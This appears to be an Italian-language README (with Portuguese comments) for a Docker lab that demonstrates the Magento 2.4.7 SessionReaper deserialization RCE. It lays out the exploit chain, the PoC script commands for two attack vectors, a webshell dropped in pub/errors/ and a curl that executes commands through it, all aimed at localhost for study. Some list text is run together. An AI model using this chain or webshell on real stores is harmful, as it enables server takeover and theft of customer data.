
Ambiente Docker per la dimostrazione pratica della CVE-2025-54236 (SessionReaper): deserializzazione di oggetti PHP che porta a RCE in Magento Open Source 2.4.7
Ambiente Docker per dimostrazione pratica della CVE-2025-54236 (SessionReaper): deserializzazione di oggetti PHP che porta a RCE in Magento Open Source 2.4.7.
Uso esclusivo in ambiente controllato. Non eseguire contro sistemi senza autorizzazione esplicita.
CVE-2025-54236 colpisce Magento Open Source e Adobe Commerce fino alla versione 2.4.7. Il metodo ServiceInputProcessor::getConstructorData() accetta parametri annidati via JSON che consentono di sovrascrivere session.save_path - la cartella dove PHP memorizza i file di sessione.
Catena di sfruttamento:
Guzzle/FW1 tramite phpggc) viene inviato via /customer/address_file/upload, che lo salva in pub/media/customer_address/s/e/sess_<id>.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}}session_start() con il PHPSESSID fabbricato, deserializza la gadget chain e scrive una webshell in pub/errors/.Prerequisito: sessioni PHP configurate come file-based (non Redis/Memcached).
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerável)
│ ├── Dockerfile # PHP 8.2-FPM com extensões Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configurações do ambiente
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sessões file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalação completa do zero
│ └── 02-demo-setup.sh # Prepara produto, payload e imprime instruções
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell com aspas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (gerado pelo script)
docker compose)ambionics/phpggc disponibilesession_reaper.py cerca il binario in: PATH di sistema, ~/phpggc/phpggc, /opt/phpggc/phpggc e, come fallback, scarica automaticamente l'immagine Docker ambionics/phpggcrequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 per Elasticsearch)cd lab-magento
# 1. Instalar Magento 2.4.7 do zero (~25 minutos)
bash scripts/install.sh
install.sh fa:
composer install --no-devsetup:install con sessioni file-baseddefault (non developer - evita che i warning PHP 8.2 diventino eccezioni)setup:static-content:deploywww-data in tutte le fasiDopo l'installazione, dalla directory principale (/magento/):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Verificare la RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Metodo alternativo (vettore address, con prodotto reale):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| Servizio | URL / Host | Credenziali |
|---|---|---|
| Negozio Magento | http://localhost:8080/ | - |
| Admin Magento | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
La URI dell'admin viene generata casualmente durante l'installazione. Per trovarla:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Sessões criadas pelo exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Arquivo de sessão malicioso em media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs em tempo real
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Remover webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Parar containers
docker compose -f lab-magento/docker-compose.yml down
# Destruir tudo (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
Perché le virgolette singole nella webshell?
phpggc Guzzle/FW1 serializza il payload come JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. Il contenuto PHP è JSON-encoded, quindi " diventa \". Usare $_GET["cmd"] risulterebbe in $_GET[\"cmd\"] - errore di parse di PHP. La soluzione è scrivere la webshell con virgolette singole: $_GET['cmd'].
Perché modalità default e non developer?
Magento in modalità developer converte tutti i PHP warning in eccezioni. PHP 8.2 emette Warning: Trying to access array offset on null in lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, che diventa un'eccezione 500 nell'admin. In modalità default il warning viene ignorato.
Perché i file finiscono in s/e/?
Magento organizza gli upload degli indirizzi in pub/media/customer_address/{1º char}/{2º char}/filename. Per i file sess_*, il primo carattere è s e il secondo è e, risultando sempre in pub/media/customer_address/s/e/.